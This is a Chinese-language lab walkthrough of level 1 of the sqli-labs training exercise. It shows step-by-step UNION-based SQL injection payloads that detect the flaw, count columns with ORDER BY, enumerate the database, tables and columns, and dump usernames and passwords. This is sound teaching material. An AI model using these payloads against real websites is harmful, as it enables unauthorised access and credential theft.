首先我们需要了解什么是数据库注入以及其原理,我会在后面的文章中更新内容
下面进去sql-less的第一关 字符型注入漏洞
进入页面之后就是这个页面在?id=1后面加上单引号来判断是否存在注入漏洞

但是其页面返回错误那么加上一个注释符–+返回以下页面

可以看到加上注释符后页面返回正常那么接下来我们使用 roder by *来判断该注入漏洞存在字段数


可以看到在测试order by 3返回正常但是在测试order by4返回错误那么由此判断存在3个字段数,接下来我们使用以下代码查询数据库库名
?id=-1' union select 1,2,database()
可以看一下数据库的执行语句//方便理解,记录一下这里为什么要用-1,这是因为union select 的结果代码只返回第一条结果,所以union select 获取的结果没有输出到页面,可以通过设置参数ID只让服务端返回nuion select的结果。如:把ID设置为-1这样数据库中没有id=-1得到数据,则会返回nuion select 的结果
select union from * users where id =1 union selct 1,2,database()

获得了数据库库名security,接下来获取数据库表名
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
这条语句我是这样理解的,利用函数group_concat查询table_name从 information_schema数据库的下一级tables查询条件为table_schema里查询’security’

获取到表名显然users价值要大的多,那么接下来查询该表中的字段名
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'

得知表名字段名那么就可以获取数据了首先获取账户
?id=-1' union select 1,2,group_concat(username) from security.users--+

获取密码
?id=-1' union select 1,2,group_concat(password) from security.users--+

通关,第二关和第一关一样只是一个是字符型注入一个是整数型注入
本文介绍了SQL注入的基础知识,通过一个实例展示了如何利用字符型注入漏洞进行数据库探测。通过在URL参数?id=1后添加特殊字符,判断注入存在,并通过ORDER BY和UNION SELECT等操作确定字段数、库名、表名和字段,最终获取敏感信息。
2225

被折叠的 条评论
为什么被折叠?



